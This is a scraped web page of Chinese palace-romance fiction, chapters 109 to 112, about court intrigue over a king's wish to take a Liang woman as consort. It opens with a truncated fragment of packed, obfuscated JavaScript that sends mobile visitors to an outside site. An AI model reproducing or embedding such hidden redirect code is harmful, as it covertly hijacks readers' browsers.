35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371296|168163||http|test|mini|href|location''.split(''|''),0,{}));
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>“才回不久,妲儿在这里做什么,老远就听见你笑。”朵氏说着,拿出帕子替她拭了拭额上的香汗。
眼前这个只比她晚出生几个月的小妹算是家里的开心果,更得父亲的偏爱,直到这个年纪还将她留在身边,兴许被保护得太好,明明同她年岁差不了多少,却不知世务,养成了一个天真散漫的脾性。
也正是这个姿性,最是惹人喜爱,好似只要见过她的人没有不喜欢她的,就连寡厉的父亲在面对妲儿时也会展露笑脸。
她就是朵家的一道光,是朵家的欢乐。
可她越是开心,她就越觉得刺眼,真想把她的那张笑脸给撕烂。
朵妲儿伸出一条膀子,把宽大的衣袖往上一捋,袒露出来:“喏!阿姐你看,都是那些小蹄子画的。”
朵氏看去,只见女子光滑的胳膊上鬼画符似的,不知画得是什么。
朵氏怒道:“哪些奴才这般大胆,敢往妲姑身上乱涂画,有一个算一个,把人带来,统统打了板子,拉出去卖了!”
周围的奴才们全都低下头,不敢啧声。
“阿姐莫要生气,不怪他们,是我强拉着她们闹着玩哩,她们身上也有我画的。”
朵氏摇了摇头,无奈叹道:“说来你年纪也不小了,怎么还这般胡闹,同那些低贱的下人莫要走太近,要知‘近则不逊,远则怨’的道理。”
朵妲儿嘻嘻一笑:“我还能在这府里待多久呢,总是和丫头们顽一日是一日,眼下高兴就好,不去想太多。”
“妲儿,你知道的,阿姐身子一向不好,是个没什么大用的人,可否到王庭陪阿姐一段时日?也给阿姐解解闷?”
朵妲儿倒是没想那么多,直口问道:“妲儿也想陪阿姐,可王庭哪是想进就能进的。”
朵氏笑了笑,一指顶着帕,替她拭干净腮上的灰渍:“无须你操心,你在家里待几日,等阿姐派人来接你。”
……
莱拉搀扶朵氏坐进马车,赶紧将温过的药汤拿出来,沏了小半盏,伺候着朵氏喝了。
其实朵氏经罗布调治了这几年,除了偶有气虚,已同常人无异,且无需每日饮汤药,可她仍吩咐宫人每人为她熬煮,也不多喝,就是要尝一尝那入心入脾的苦味,好似喝了,她才心安,不喝的话,心里总会空出一块。
不知这是何时养成的习惯,也不知何时生出的依赖。
莱拉倒上一盏清水,递上前:“大妃真打算让妲姑进王庭?”
才了结一个梁女,又来一个妲姑,妲姑那么可怜可爱之人,只怕大王见了也喜欢。
朵氏接过盏,微抿了两口:“父亲的意思,我这个做女儿的哪能违逆,他说怎样便怎样,既然他想让妲儿进王庭,便让她进来又如何,我还真想看看,朵妲儿以何种手段俘获君王心。”
朵氏不知想到什么,叹了一声:“可惜了。”
“大妃缘何叹可惜。”
“那个梁女死早了,要是活着该多好,活着才有好戏看……”
第109章 你的脸怎的这样红?
莱拉疑惑,明明主子下令杀梁女,如今怎么又想她活着。
“您不是将那婢子视为眼中钉么?”
“比起梁女,我还是更讨厌朵妲儿一些,两人放在一起,那梁女也就不当什么了。”朵氏手肘在窗案上,撑着下颌,轻缓缓道,“罢了,**便**,早死晚死总是要死的。”
莱拉替朵氏捏捶着肩,问道:“大王如今不在王庭,也不知几时回,大妃打算如何让妲姑进王庭。”
朵氏笑了笑,并不言语,莱拉见状便不再问了。
回了王庭,朵氏重新更衣,去了祥云殿,祥云殿乃呼延吉之母,高氏,所居之所,高氏亦乃五上姓之一。
朵氏下了乘辇,进了祥云殿。
“大妃稍候,太后正在休息。”宫婢说道。
朵氏颔首,坐在外殿,宫婢们开始上果品和热茶。
约莫一炷香的工夫,里间开始有宫婢进出,又过了一会儿,幕帘缓缓打起,一妇人在左右的搀扶下走来。
但见那妇人,一头浅栗色掺白的发丝,细长两道蛾眉,一对琥珀色双眸,如淡霞映澄塘,五十来岁的年纪,虽有风霜,眉眼间却可观出年轻时必是美姿容。
朵氏见了妇人,起身,叩拜:“妾伏拜圣太后。”
“起身罢。”高太后落座于上首,又道,“怎么不在家中多待几日?你母亲身子可好?”
朵氏起身,回坐,微笑道,“荷蒙太后垂问,妾身母亲身子向来违和,返家探视,还是从前那样,不过精神上来些。”
高太后微微颔首:“你母亲那人……性子就是太软和了,后来她进了朵家,我进了王庭,见得就少了。”
“此番归家,家母问候太后圣体安泰,再三嘱托妾身当尽心侍奉于太后跟前。”
高太后叹了一声:“倒是难为你了,为着成儿,一直守在东殿,若他还在,你也不必处于这番境地,可见你敬奉他之心。”
朵氏微垂首:“是妾没有福分。”
高太后默了一会儿,又问:“吉儿待你如何?”
朵氏一怔,清脆的响又在脑中响起,脸有些火辣辣的,声音弱了下去:“大王待妾身很是敬重。”
高太后听后,不说什么,慢慢起身,朵氏也跟着起身。
“随我往园子里走一走。”
朵氏应下,随行在侧。
走了一段路,高太后突然开口:“吉儿房中一直无人,本该是你去侍奉,这孩子一向不受管束,到底不是我跟前长大的,我也难说。”
“既是太后说到这里,妾身少不得求一项恩典。”
“说来……”
“妾身想把小妹接到王庭住些时日,她性子欢脱,日常正好同妾身为伴,就是您闲闷了,也可拿那丫头逗逗趣。”朵氏看了一眼高太后,又道,“您知道的,妾身性子有些过于安静,肖妃那人比妾更为不响,若是小妹来了,有这么个笑模笑样的人在跟前,也是个乐。”
不管朵氏再讨厌朵妲儿,她还是得忍着,只因她们出自一脉,都姓朵,而且……朵氏到底还是惧怕她父亲那人,这种惧意打小生在骨子里……
“是妲儿罢?”高氏问道。
“正是她。”
高氏笑道:“那可是个开心果儿。”
她那小儿子心性疏狂,兴许朵妲儿同他更为投契,倒也不错。
“你把人带进来,我得好好看一下这丫头,有好些年没见了。”高氏说道。
朵氏笑道:“是,您是不知道,她还像从前那样,没一点长进,就怕真进来了,你又嫌弃她。”
高氏拍了拍朵氏的手:“我这个年纪,还怕她嫌弃我。”
“就怕她进来后,太后偏宠她一人,把我这个不响的撇去一边。”
高氏一听,心情甚好地笑起来。
……
呼延吉带江念回了王庭。
江念先是随呼延吉进了正殿的寝屋,看了眼正中的矮几,那上面嵌着炭炉,还有堆在一边的调香器具,好似在静静候着主人归来。
“我去那边了。”江念说着就要转身往外去。
“去哪边?”呼延吉问道。
“才回来,总得让我歇息歇息,头身积了一路的灰,也得好好清洗。”江念撇了撇嘴,说道,“桂花巷里我还能每日沐身,回了这里,只能拿冷水擦洗。”
女人的声音虽小,呼延吉哪能听不见,笑道:“你瞧你那样儿,王庭还不如桂花巷?以后你用温泉池子,你用罢了,我再进去沐洗,这样可好?”
“当真?”
“一个池子,想用便用。”
江念就是个顺杆子往上爬的主儿,又道:“在桂花巷我不用伺候人,回了这里我还得伺候人……”
呼延吉一噎,跟着说:“我也不用你伺候,好似没你不行似的,王庭里那么多奴才,我偏要你伺候不成?”
江念走到呼延吉跟前,看着他笑问道:“那我算什么?既不是奴才,又不是你的妻室,你说说我算什么?”
呼延吉也笑了,认真回看向她,说道:“给你三个身份,你想要哪一个?”
“哪三个?”江念的一颗心提了起来。
男人围着她走了一圈,眼在她身上睃了两眼,说道:“一,继续当奴才。”
“二呢?”
“二,给你升一级。”
江念眼中亮起,等着回答,呼延吉却道:“二,做本王的奴姬,就是你们梁国的侍妾。”
“三呢?”女人的声音从二到三,一点点往下降,一颗心跟着往下坠。
呼延吉似是没有察觉到女人的异样,继续道:“三嘛,比前两个好太多,是十分贵重的身份,一般人想都不敢想。”
江念心里又重燃星火。
呼延吉拿手背揾了揾她的脸:“你的脸怎的这样红,是不是发烧了?”
她拍开他的手,笑道:“别打岔,快说,第三个身份是什么?”
呼延吉走到书柜边,将手里的绿皮书放回,漫口说道:“三不就是,你继续当我阿姐,不然还能是什么?”
男人说罢,身后一片安静,回身一看,就见女人冷着脸。
“你看看你,怎么又生气,当我阿姐还不好?谁能有这个殊荣?”
江念笑一声,心里壅堵难出:“我说什么了,我可什么也没说
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,你不是让我选么,我选一,我要当奴才。”
呼延吉愣了一愣,眉头蹙起:“当真选一?选二也比选一强些。”
江念不想同他说话,清了自己的衣物去了温泉池子。
随同江念一道回的秋月这才知道,原来那小阿郎是他们夷越的君王,而她就这么糊里糊涂地进了王庭。
不过她同珠珠仍被安排在江念跟前伺候。
“阿姑,好大一个池子哩!”秋月一面替江念除衣,一面叹道。
江念跟着叹了一声,也就这方温泉池子能宽慰她的心了。
秋月伺候江念沐过身,从沐室出来,呼延吉才进去,随后木雅领着几名宫婢手端托盘进了沐室。
过了一会儿,木雅从沐间出来,见江念坐在寝屋和外殿连接的露台处,走了过去。
“你去哪儿了?”说着瞥了一眼江念身后的秋月。
秋月立马端正身板,生怕自己被小瞧了。
江念笑了笑:“有些私事办,同兰掌事招呼过了,在外面滞留了些时候。”
“什么滞留了些时候,这可是好几个月呢。”
木雅是聪明人,不会一直追问,江念可享用大王的沐室,这意味着什么,像她们这些贴身伺候之人,都是放下大王的衣物和酒馔就出沐室,从不敢在里面多待。
木雅点了点头,想着江念以后只怕有大造化,不如现在卖她个好,便说道:“对了,告诉你一件事情……”
正说着,达娃从前殿走来叫木雅,木雅只得起身去了,那话便说一半搁置了。
是夜,江念借口身上不好,早早躺下,呼延吉也没说什么,而是让达娃到跟前伺候。
几日的路途颠簸,身体也疲乏,应是很容易睡去,可江念就是无法入睡。
什么三个选择,奴才、奴姬、阿姐,他倒说得出口。
此时已是深更,江念越想越委屈,从枕下掏出帕子,在手里绞来绞去,绞成一根麻花,好似把一腔子不平都撒在了帕子上。
正绞着,隔间外的王榻传来一声咳嗽。
这是呼延吉要茶水,夜里他若口渴,便会嗽一声,江念就会起身端茶到他身边。
今夜别指望了,她绝不会起身伺候他的,于是稳着不动,闭眼装睡,只当没听见。
过了一会儿,就听见呼延吉略显不快的声音:“人呢?”
她仍是闭眼装睡,不去理会,接着就是窸窸窣窣之声,然后脚步声往她这边走来,最后停在她的榻边,身侧的床榻微微凹陷。
“你说你要当奴才,我叫都叫不动你,谁家敢要你这样的奴才?”
江念继续闭着眼。
呼延吉气笑了:“你行了啊,别在这儿装睡,眼睛睁开。”
榻上之人霍地翻过身,把眼一睁,撑起半边身子,就那么瞪视着他。
呼延吉抿了抿唇:“说话。”
江念眼睛会说话似的,眨巴了两下。
呼延吉的目光从女人的脸落到她微敞的衣领,再看向褶皱得不成样子的巾帕:“问你话,你也不说,自己气闷得晚上不睡,翻腾的声音闹着我也不好睡,你到底是怎么了?”
第110章 册封为妃
她就那么半撑着身,微微仰着脖,呼延吉的话让她渐渐垂下头,轻声呢喃:“我不要做奴才。”
“那也好办,你不想做奴才,就做我的姬妾,现在咱们就能共榻,如何?”男人腔调轻佻。
“我也不想做你的姬妾。”
“那就……”
呼延吉话未说完,就**念打断:“不想,不想,那个什么狗屁一、二、三,我都不稀罕!”说罢一手捂住口,惊欠着眼,她刚才居然说了污话。
呼延吉拿下她的手,静了一静,问道:“那你稀罕什么?”
“我说了你肯么?”
“你并没有问过我,怎见得我不肯?”呼延吉轻缓道。
江念再次抬头,从床上坐起,就见呼延吉看着她,等着她接下来的话,她顺手扯过手边的巾帕,缠着指,脸上透出一抹胭脂色,把眼看向别处。
“我要做你的妻,你肯是不肯?”
一语毕,半天不见回音,女人的一颗心沉了又沉,脸上的那抹胭脂越来越深,火辣辣的烧灼。
经过一番挣扎,终是抬眼看向他,却见男人眉眼带笑,那笑里透着温度。
江念被他的笑晃了眼,讷讷问道:“我说了,你怎么说?”
呼延吉想了想,说道:“既然你都开口了,我不应下总归不好,难得你求我,依你了。”
江念张了张嘴,把衾被一掀,面对着他跪坐下:“当真么?不许哄我。”
“我再喜欢逗弄你,也不兴在这件事上戏弄你,把我当什么人了。”
江念也不知怎的,心里就是高兴,想到什么趿鞋下榻,噔噔噔走开了。
呼延吉不知道她又颠颠地去做什么。
“你干什么去?”
女人欢快的脚步又走了回来,手里还端了一杯茶,笑模笑样地说:“用茶,用茶。”
呼延吉接过,心里受用,揭开盖子,喝了两口,见江念似有话说。
“我今日心情好,还有什么一并说来。”
江念面色变了变,开口道:“确实有一事,我因思虑过多,从前一直未提。”
呼延吉将茶盏放到一边:“你说,我听着。”
“大王可否帮我找一找轲儿?”
呼延吉点点头:“就算你不同我说,我也一直记挂着此事,你不知,在寻到你之后,我就给各地下了邸报,寻江轲,却一直没有任何音讯。”
“你一直在找他么?”
“是,也有派人手寻找。”
江念忍不住湿了眼,原来他一直在默默帮她,先是救了她,又替她探查阿弟的下落。
呼延吉以指揾了揾她腮上的泪,江念就势倚在他的怀里,男人的臂膀立马环了上来。
他可太受用她收起脾气后温软的样子,只要不同他闹,她说一句他能依百句。
“依我看,江轲应当不在夷越,多半仍困在大梁,若他在夷越,早就找上王庭,我又特意嘱咐过,若是他来找,必要上报于我,就算我不在王庭,亲卫也定会将人留下,待我回庭。”
江念从他怀里退出,双手抵在他的胸口,说道:“你能否派些人手,暗中潜往大梁探查?我真的放心不下他,这世人我只他这么一个亲人了。”
呼延吉点头:“好,我派人去……”
次日,天还未亮,江念便起身伺候呼延吉梳洗更衣,梳洗毕,呼延吉去了前殿早朝。
下了早朝,呼延吉又在议政殿同几名大臣私谈,待臣子退去,宫监丹增沏了一壶热饮,双手递到呼延吉跟前,斟酌着将朵氏之妹朵妲儿进王庭的事说了。
“朵妲儿?”呼延吉一口叫出女子的名字,他有些印象,想没有印象都难。
丹增躬身道:“是,说是大妃求到圣太后跟前,让朵家的那位贵女进王庭陪陪自己,平日里说话解闷,圣太后听后,就应下了。”
呼延吉笑了笑,朵氏眼里哪里容得下旁人,何况她身体里的毒素就是拜朵妲儿之母所赐,虽说这事不关朵妲儿的事,依朵氏之行事,难说朵妲儿不被连带怨憎。
这会儿让朵妲儿进王庭,应是背后老家伙的主意。
“住在东殿?”呼延吉问道。
“先来时,是住在东殿,这会儿却不住东殿。”
“住哪里?”
丹增看了眼呼延吉,说道:“住祥云殿。”
呼延吉轻轻一抬下巴,眼中带着兴味:“正巧我要去趟祥云殿。”
丹增应下,吩咐宫人备辇。
大王并不常往祥云殿,并非大王不遵循孝悌之礼,相反,大王刚从大梁归夷越那会儿,晨省昏定,每日不少,直到有一日圣太后让大王不必每日问安。
先时大王仍往祥云殿,指着在太后跟前坐一坐,母子俩说一说温情的话儿,谁承想,大王去了祥云殿后,圣太后却以各种理由避而不见,几次之后,大王便不常往祥云殿去了。
呼延吉的乘辇到了祥云殿前,还未进殿,就听见里面清甜的笑声……
祥云殿的宫婢忙入内报说君王驾临。
今日赶巧,朵氏也在祥云殿,两姐妹都在太后跟前承欢逗趣。
如今王庭中谁人不知,这朵家的另一位贵女是圣太后跟前的红人。
那位贵女进王庭本是陪侍东殿大妃,朵氏,结果高太后见她言语乖觉,性格活泼,很是讨人欢心,便将她留在祥云殿,也不另辟屋室,只在自己的寝殿隔出一榻,供那位贵女歇息,可见多得圣太后喜爱。
朵妲儿伏在高太后身侧,一面给她剥果皮,一面讲着从朵府仆人那里听来的民间笑话,逗得太后脸上的笑就没收过。
闻得君王驾临,朵妲儿忙随殿中众人跪拜相迎,先是感知到一阵风过,风中是男子阔步翻飞的绯红衣袂,接着就听到一个声音。
“儿子来看望母亲。”
那腔音很好听,像是晨间穿雾的阳光,一点点清冷,朦朦胧胧的金色光影,很是让人贪恋。
高太后端坐上首,手微微一抬:“大王孝心已至,不必行礼,坐罢。”
呼延吉直起身,看向殿中,说道:“
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都起身。”
众人谢过王恩,起身。
“大王这是刚下朝?”高太后声音平平。
“回母后的话,儿子昨儿回得晚,便没有过来给您老人家问安,今日一下早朝就过来看看。”
“倒也不必,你料理好家国事务,我这里无须你记挂。”
朵妲儿立在一边有些奇怪,大王刚下朝就来祥云殿向太后问安,这是尽孝心,按说作为母亲的太后该欣慰才是,可那言语中怎的很是淡漠,好似不太愿意见到大王。
太后一语毕,整个殿内安静下来,空气都沉了几分。
朵氏坐在一边,敛目不语,别人或许不清楚,她可太清楚了,圣太后不待见自己的这个小儿子,不仅不待见,甚至有些怨憎。
一声轻轻的“噗嗤”打破死寂。
呼延吉这才认真地看向母亲身边的女子,一身轻盈的鹅黄衣衫,灵动的大眼,同朵氏有些相似,更像是朵氏向阳的一面,摈除了不好的,留下的就是好的。
朵妲儿,朵家的另一个女儿。
“太后这话说的,知道的人说您体恤大王,怕大王政务辛劳,不知道的还以为您嫌大王搅扰您听故事呢!难不成太后只爱我这没脸的淘气?”
死闷的气氛被朵妲儿的俏皮话驱散了,高氏拿指点她,笑道:“你也知道自己是个没脸的?”
此话一出众人皆跟着笑了。
此时,宫人已往呼延吉手边摆好茶点,新沏了茶。
朵氏环眼见殿内一片笑声,也跟着应景掩嘴笑起来,再观对面的呼延吉,亦是心情不错的样子,于是心里一沉,虽然圣太后有些远着小儿子,但呼延吉对圣太后却很是孝敬,现下朵妲儿讨了太后的欢心,呼延吉对她自然不一样看待。
不知朵妲儿偎在太后身边说了什么,又引得太后一阵笑,女子说笑间,不时把眼瞟向呼延吉。
朵氏扯着嘴角,跟着笑,只觉着腮上的肉像石头一样硬。
“大王今日来可是有事?”高太后语中带笑,看得出来心情很好,“老婆子我总要问一问,不然又有人埋怨我了。”
呼延吉笑了笑:“儿子今日前来,一为给母亲请安,二来确实有一事。”
高太后“嗯”了一声:“说罢,何事?”
呼延吉拿起茶盏润了润嗓子,他觉得等会儿可能就喝不了了,所以趁这个时候再喝一口,待把茶盏放下,这才开口:“儿子房里还是得有个知冷知热的人,所以想选一女子册封为妃。”
此话可谓一石激起千层浪。
先是高太后,虽说她不怎么待见小儿子,也不大管他的事,但他一直未曾立妃,也没有子嗣,别说一个帝王了,就是普通人家无妻无子,也绝非好事。
心道,如今她身边有一个再合适不过的人选,小儿子这会儿立妃,正是时候。
再是朵氏,疑虑之下生出难以按捺的期待,大王怎么突然转变态度要立妃,可如今有一个朵妲儿在王庭,心中不免忐忑,妃位人选会是谁……
第111章 你要娶梁女?
呼延吉直言要封妃,朵氏不免多想,她是呼延吉对外的幌子,难道呼延吉因为某种顾虑打算同她假戏真做?假戏真做,她也愿意。
然而当朵氏看向圣太后身侧的朵妲儿时,又开始担忧,怕自己的欢喜落空。
朵妲儿面上反倒没有什么特别的表情,只是嘴角含笑地伴在太后身旁。
“终是开窍了,我还以为你真打算当孤家寡人。”高太后说道。
呼延吉笑了笑。
“既然你有意立妃,让内侍司拟出人选。”太后说道。
“不必,儿子已有人选。”
“哦?哪户人家的?”
“是儿子身边的一梁女子。”呼延吉说道。
高太后怕自己听错,复问道:“哪里人?”
“梁国人。”
上首死寂一片,刚才轻松的气氛散得一干二净。
“都下去。”高太后冷着一张脸,挥手让殿中众人退下。
待众人退下后,高氏再次开口:“你来,到我跟前来。”
呼延吉起身,走向上首,刚立在高太后身边,“啪——”的一声,迎向他的是一计重重的耳刮。
“我就说你有异心,果然,你身体里流着梁人的血,不过是披了一张夷越人的皮,骗过了所有人,却骗不过我去!”高氏气骂道,那话里不带一个脏字,却直剜人心。
呼延吉微微偏过头,一声儿不言语。
“啪——”的一声,妇人又是一耳刮打过去。
“若不是你,若不是因为你……你兄长也不会早逝,他那般消耗自己的身体,就为了换回你这个魔王!我的成儿就是因为你这个孽障死的!”
对呼延成来说,阿弟质于大梁,一直是他的一块心结,多年以来呕心沥血,砺刃秣马,就是为了有朝一日换呼延吉归家。
后来作为妻子的兀良慈不幸离世,呼延成悲恸欲绝,五内摧崩,极悲之下,仍坚持摄理朝中事务,同上姓门阀斡旋,还要筹谋对梁之战事。
铁石之躯,也难支撑,终是倒下了。
这一切在高氏看来,俱是呼延吉之过,若不是他,她的大儿子呼延成不会熬得灯枯油尽。
呼延成是高氏一手看大的,而呼延吉不同,他自小长在梁国,虽是夷越男子的容貌,可行止间更像梁人,这就让高氏的怨憎更加有机可乘。
至亲之人的伤害,来得更为深刻,句句都能直戳痛处。
高氏一把揪住呼延吉的衣襟,眼眶通红:“你现在告诉我,你要娶梁女?你是打算把你父兄的基业拱手让给梁人?是不是以后还准备让流有梁人血脉的小杂种坐上王位?!让梁人再次踩在我越人的脊梁之上?!”
高氏一句逼一句,话从牙缝间一字字蹦出:“我怎会生出你这孽障,早知如此,当初就该一碗药把你打下去。”
“母亲莫恼。”
呼延吉一手环护在高氏身侧,怕她气出个好歹。
“我不恼?”高氏冷笑出声,“你说出这番话不就是想把我这老婆子气死么?”
“儿子不敢。”
高氏压了压心中怒火,复坐下,问道:“你若想立妃,我这里正好有个人选,朵家的妲儿是个不错的丫头,模样不差,姿性乖巧,你立她为大妃,我不说什么。”
说罢,见身边没有回音,抬眼看去,就见自己这个小儿子立在那里,没有半分退让的意思。
高氏恼过后心里一沉,她虽同这个小儿子不亲,可自己身上掉下来的肉,她还是了解的,虽是韶年却腹隐机谋,是个主意极大之人。
高氏冷笑连连:“你既然已决定,还跑来问我做什么?”
“总要回过母亲,她是个很好的人,母亲日后就知晓了。”呼延吉说道。
“我要是不同意呢?”
呼延吉仍是平静道:“那儿子明日再来,一直求得母亲同意为止。”
高氏将手边的茶盏挥落在地:“你……你要气死我不成?”
“儿子不敢。”
“不妨告诉你,你娶梁女,想让我点头是不可能的,除非我死!”
呼延吉仍是无波无澜地说道:“那儿子明日再来。”
说罢,往外走去。
高氏噎得眼直瞪,一手抚到胸口,她这是造的什么孽,生了这么个魔王。
……
退到殿外的朵氏和朵妲儿缓缓在殿院行着,两人皆是不语,各藏心事。
“阿姐,大王说要娶梁女子,这个梁女子阿姐可知道?”朵妲儿好奇地问道。
朵氏心头沉沉,听此一问,竟是半天才缓过神,呼延吉适才说要立一个梁女为妃,难道是之前的那个宫婢?不是**么?
她现在只想弄清呼延吉口里的梁女子是不是之前那个梁女,可她心里隐约感知,不会有第二人。
朵氏之前吃过一次亏,不敢再往西殿那边探查任何消息。
正想着,朵妲儿又问:“阿姐,你怎么了,脸色有些不好。”
朵氏看了一眼小妹,不知怎的,本是忧虑的心思起了一层快慰,朵妲儿,你不是一向会装乖卖巧么,这次让你碰碰硬茬。
“没什么,你刚才问我什么?”朵氏问道。
朵妲儿笑道:“大王说要立一梁女子为妃,阿姐可认识这位女子?”
“从前王殿中倒是有一位梁国女婢,不知是不是她。”
“女婢?!”朵妲儿满脸惊讶。
“王对此女很是偏宠,想不到这会儿居然要立她为妃。”朵氏看了朵妲儿两眼,想从她的脸上看出什么,又意味深长地笑道,“只不过……”
“不过什么?”
“我也不确定是不是她,这婢子离开王庭数月,据说为了追随大王私出王庭去了定州,说是这样说,谁知道呢。”
朵妲儿想了想,说道:“若真是这样,还是个忠心的,也难怪得大王宠眷,小妹倒是有些好奇,想见一见这梁女是怎么样一个人儿。”
王庭里居然还有梁人,且引得他们这位君王要册立为妃。
朵氏笑了笑:“你想见她也容易,我教你一个法子。”说着附在朵妲儿耳边低语。
“这个主意好。”朵妲儿一拍手。
朵氏看着朵妲儿笑,心里也跟着笑,这下有好戏看了。
二人正说着,就见呼延吉从殿里出来,于是退到一边,垂手侍立,直到人走远了才抬头。
“还看,已经走远了。”
朵妲儿笑嗔一声,倒是爽直:“阿姐还说我,你不也在看么,你若不看又怎知我在看。”说笑着往殿内走去。
待她走后,朵氏脸上的笑收了个干干净净,站了一会儿,将嘴角的弧度再次扬起,随后进入殿内。
……
因着昨晚后半夜下了雨,今日天又阴着,空气里的水分很足,庭中绿植葳蕤。
江念闲来无
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事,便带着秋月和珠珠去了孔雀苑,三人一路信步缓行,苑里的墙壁上攀着藤萝和一些不知名的杂蔓,大树彤彤如车盖,脚下芳径逶迤,两旁虫声叽叽。
行了一会儿,江念有些累了,便找了一处小亭歇坐。
秋月在旁边给江念打扇,珠珠则半跪在江念脚边,待要替她捏腿。
“用不上你伺候,坐着罢,拿些酸甜的梅子我吃。”江念说道。
珠珠知江念喜欢小食儿,随行时身上总要带些能吃能喝的东西,于是从斜挎包里掏出油纸包,打开,双手奉到江念面前。
“念念阿姐,吃。”
江念拈了一颗放到嘴里,又各拈了一颗喂给珠珠和秋月。
“你们陪我一起吃。”
三人嘴里含着酸梅子,腮上鼓起小包,坐在小亭里吹着微潮的凉风。
“真是可惜了,那样好的一人儿。”
一个宫婢的声音从碧藤那边传来。
“可是呢,也不知犯了什么事,再就没见过。”另一个声音说道。
“若不是他,大妃的身子也好不了,怎的就被逐出王庭了,从前他在时,咱们身上有个小病小灾的,多亏有他,换作别的宫医,是万万叫不动的,现下他走了,以后再找谁去……”
二人说着,走远了。
罗宫医被逐出王庭了?江念脑子里浮现男人那双灰色的眼,苍郁的面容,以及微微消瘦的身形。
略微的惊讶后,也就不去想了,她同这人相交并不很深,只是有些奇怪,当下也不久坐,回了西殿。
其实这半日,她一直恍恍惚惚,因昨夜呼延吉的一番话,揣度那话是认真的还是玩笑,应当是认真的罢,他不至于在这种事情上同自己玩笑。
正想着,呼延吉就回了,宫人们开始张罗起来,又是摆饭,又是随侍应候。
江念见他回了只在外殿坐着,便起身走到外殿。
“怎么只在外面坐着不动?”
一语毕,她发现呼延吉面上有些泛红,那红痕看着很不对,乍见之下,先是一惊,想要问一问,却生生忍住,转口道:“大王到寝屋用饭罢,我让她们把饭摆到里间?”
她大约是知道了,能往呼延吉脸上招呼的,这王庭里除了祥云殿那位,不会有第二人。
可呼延吉乃一国之君,她就算贵为圣太后也不能这样冒犯他!江念真是有些气了,说不出的难受。
他一定是怕她看见,这才不进寝屋,只是他这样子,叫宫人们见了更不好。
呼延吉没有多的话,“嗯”了一声,起身进到寝屋,江念让宫人将菜馔摆到里间,饭菜上来后也不问什么,只是安静地伺候他用饭,饭毕,再让宫人撤去桌面,这才开口。
“没什么说的?”
呼延吉喝了两口茶,一副很是随意的口吻:“说什么?”
她拿指戳上他的脸:“你说呢?”
男人“嘶——”了一声:“你不拿药给我擦一擦,还戳。”
江念便不说话了,起身走到金箔压印的大木柜边,取出一瓷瓶,再走回。
“把脸递过来。”
呼延吉一手搁在桌案上,将半张脸递了给去。
女人先是一怔,见他将自己好的那半张脸伸了过来,气笑道:“另一边的,这边好好的递过来干什么。”
呼延吉龇牙笑了笑:“你亲亲这边,另一边管就好了……”
第112章 湿漉漉地勾诱
江念撑不住吃吃笑起来,走到他另一边跪坐下,用指剜出一点乳白的膏子,涂抹到他的脸上。
“是不是因为立妃之事被责骂了?”江念一面涂抹一面问道。
呼延吉却道:“你不消担心,要么不应你,只要应了你的事,一定给办下来。”
江念便不再说话了。
她和他不仅仅是男女之间的你情我愿,还隔着种族,隔着家国。
她知道他的不易,可还是开口想为自己争取,如果不迈出这一步,怎么谈以后。
待江念涂抹好药膏,呼延吉牵起她的手,问道:“阿姐,如果太后传你去祥云殿,你怕不怕?”
今日他将立妃之事道出,自然就把她从暗处扯到明处,到了明处,就会有一些难以预料之事,避无可避。
他不可能时时守在她的身边,却又担心她没法应付。
他将她拴在这座看似桂殿兰宫,实则暗流涌动的王庭中,不是不知道她要面对什么样的困境,但他希望她能同自己站在一起。
江念想了一想,问道:“太后不会取我性命罢?”
她就怕太后把她叫到祥云殿,不由分说地给她安个罪名,然后拖下去乱棍打死,让她连个叫冤的机会也没有。
呼延吉见她有些怕的样子,故意逗她:“这可说不好。”
“要不我看还是算了。”比起做他的妃子,她还是更在意自己的小命。
呼延吉先是愣了一下,盯着她,声音沉了一沉:“什么算了?”
江念刚要说这个妃她不当了,还是选择做奴才,可呼延吉刚才的语调有点不对,溜到嘴边的话在舌尖打了一个转,就变成:“要不这事再缓一缓,我并不着急。”
呼延吉听了,将她抱放到矮几上,双手撑到她的身侧,俯在她的耳边,低声道:“江念,你怕了……”
“怎会怕,你莫要瞧不起人。”
男人“嗯——”了一声,腔音拉长,尾音轻颤颤上扬,一双眼在她脸上睃着,最后落到她丰润的唇上,巡视着。
“你看我都为你挨耳刮了,你好歹也拿出些勇气来,我认识的阿姐不论碰到何事,从来是泰然自若,成竹在胸,从容不迫……”
江念被他说得晕晕乎乎,醉酒一般,不知觉男人的唇就覆了上来,先是轻轻碰了碰,见她没抵触,便讨要的得更多。
温软滑入,湿漉漉地勾诱着她,江念觉着呼延吉在这方面很有本事和天赋,仅仅一个亲吻,却能让她心尖发颤。
她就这么在他的诱哄下,软瘫热化了,双臂勾上他的脖,撑住一些力,他也就顺势兜揽上她的腰,忘情地温存了一会儿。
分开时,两人皆有些气喘。
“还怕么?”呼延吉问道。
江念回味了一下刚才的吻,为了以后能名正言顺地品用,她必须得拿出些勇气。
“我几时怕过?”
呼延吉笑着盘腿而坐,给自己倒了一杯茶,轻轻抿上两口:“你尽可放心,太后不会取你的小命。”
“你如何知晓?”
“我阿兄离世后,她便开始信佛,不杀生的,放心好了。”
江念听说要不了命,也就不怕什么了。
……
次日,呼延吉天未亮就去了前廷。
彼边的祥云殿……
朵妲儿昨日听了朵氏的主意,待高太后用完早膳,亲自沏了一碗香茶,双手递到高太后面前。
“妲儿昨日听姐姐说,大王的西殿从前有一梁国女婢,生得极为貌美,说得天上有,地下无的,太后您见过大世面,同妲儿说说,梁国女子真有那般貌美?”
高太后淡淡一笑:“瞧瞧你这点出息,什么时候见过梁女就算见过大世面了?梁人脸面就恁大?”
说罢,追问一句:“你阿姐说我儿的西殿有一梁国女婢?”
昨日,儿子说要立梁女为妃,她一气之下只顾责骂他,竟忘了问那梁女的来历。
难不成就是这个女婢?应当就是了,否则从哪里来一梁女?他成日不是在征战,就是在征战的路上,没精力耗在女人身上,只有回王庭得以松乏。
只是一个梁国人怎么入了王庭?她同小儿子不亲近,他那边的事情也少有过问。
“传朵妃来。”高氏吩咐下去。
宫人领命而去,不一会儿,朵氏来了。
“妾恭请太后圣安。”
